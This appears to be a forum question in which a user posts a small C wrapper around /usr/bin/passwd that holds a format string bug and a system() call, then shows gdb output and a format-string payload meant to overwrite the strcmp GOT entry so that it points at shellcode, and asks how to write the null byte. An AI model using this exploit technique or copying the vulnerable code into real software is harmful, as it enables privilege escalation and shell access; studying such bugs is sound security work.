Assuming this code:
#include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char** argv){ char fonction[50] = "/usr/bin/passwd "; char messageAccueil[100] = "changement du mot de passe de : "; if(argc == 1){ printf("vous devez passer un username en parametre \n"); return 1; } printf(messageAccueil); printf(argv[1]); //<-- format string vulnerability here !! if(strcmp(argv[1], "root")==0){ printf("vous ne pensiez quand meme pas pouvoir changer le mot de passe de root si facilement ?\n"); return 1; } printf("\n"); strncat(fonction,argv[1],38); system(fonction); return 0; }
I want an exec shell using a format string vulnerability. So, I wanted to rewrite the strcmp function address from GOT to the address of my shell code stored in the environment variable.
gdb gave me:
(gdb) info functions 0x0000000000400570 strcmp@plt (gdb) disas 0x400570 Dump of assembler code for function strcmp@plt : 0x0000000000400570 <+0>: jmp QWORD PTR [rip+0x20070a]
So I want to write my shellcode address on 0x00600c80
How can I pass nullbyte to my ./changepasswd file?
I am really trying to use this exploit:
/changepasswd $(echo -e '\x80\x0c\x60\x00____\x84\x0c\x60\x00')%65527d%136\$x%59017d%137\$x
It gives me the address 600c845f
But \x00 does not affect and is not stored on the stack.
I found that the actual address starting with 00 may also be a problem with the ascii army, but the exec-shield option is completely absent on my system.
So, I'm looking for a way to write 00 to my stack OR get my GOT addresses that will be started by something other than 00 ...
source share